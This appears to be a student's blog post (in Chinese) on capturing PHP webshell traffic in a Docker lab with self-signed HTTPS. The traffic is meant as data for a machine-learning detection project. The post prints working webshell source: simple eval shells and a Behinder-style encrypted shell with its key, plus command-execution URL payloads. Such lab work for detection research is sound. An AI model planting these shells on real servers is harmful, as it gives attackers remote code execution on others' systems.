0%

webshell 抓包

webshell 抓包

小学期“网络安全课程设计”做了一个机器学习流量分析的选题,组内大佬结合我主业,发配我负责采集 PHPwebshell 流量;

两个问题:

  1. 我想用 docker 部署靶机环境,如何用 wireshark 抓 docker 流量,没干过;
  2. https 没配过;

思路是用 docker 起一个 php 环境,配好 https ,然后分别去连几种 webshell ,抓下流量;

环境配置

起镜像

镜像版本docker pull php:8.4-rc-apache-bullseye

1
2
3
docker run -d -p 9000:80 -p 9001:443 `
-v D:/works/traffics/240902webshelltraffics/html:/var/www/html `
--name webshell-traffic php:8.4-rc-apache-bullseye

映射一下,方便传马(多此一举了其实);

测试连接

1
touch /var/www/html/index.php

访问 9000 端口,检测到空文件,成功;

抓包

抓包测试

首先安装tcpdump,用于抓包;

1
tcpdump -i eth0 -w /tmp/capture.pcap

把包保存到/tmp里;

访问几次index.php,保存流量;

copy 到本机,然后打开查看;

然后配置https加密流量,同样的方法抓;

https 配置

1
2
3
4
5
6
7
8
9
10
# 启动 ssl
a2enmod ssl
# 创建 ssl 目录
mkdir /etc/apache2/ssl
# 生成自签名证书
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout /etc/apache2/ssl/apache.key \
-out /etc/apache2/ssl/apache.crt \
-subj "/C=US/ST=State/L=City/O=Organization/OU=Department/CN=localhost"

修改/etc/apache2/sites-available/default-ssl.conf

1
2
3
4
5
6
echo "\n<VirtualHost *:443>\n\
DocumentRoot /var/www/html\n\
SSLEngine on\n\
SSLCertificateFile /etc/apache2/ssl/apache.crt\n\
SSLCertificateKeyFile /etc/apache2/ssl/apache.key\n\
</VirtualHost>\n" >> /etc/apache2/sites-available/default-ssl.conf

启用配置:

1
a2ensite default-ssl.conf

访问https://localhost:9001/成功;

传统 webshell

basic-webshell.php

1
<?php @eval($_GET["QST"]); ?>

payload

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27whoami%27));

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27ls%27));

可以看到一些 https 的特征:

Antsword(蚁剑)

antsword-webshell.php

1
<?php @eval($_POST["QST"]); ?>

连接webshell:

在操作 webshell 过程中抓包;

这里有个问题,我的自签名 ssl 证书在用蚁剑连的时候会报:

1
{"code":"DEPTH_ZERO_SELF_SIGNED_CERT"}

忽略 https 证书即可;

随便点点,抓到一些包:

特征差不多;

Behinder(冰蝎)

behinder-webshell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="f14b485168197a68"; //该密钥为连接密码32位md5值的前16位,连接密码QST
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

同样,操作 webshell 同时抓包:

比之前的包大一两个数量级;

总结

抓了一些常用的 webshell ,希望有用。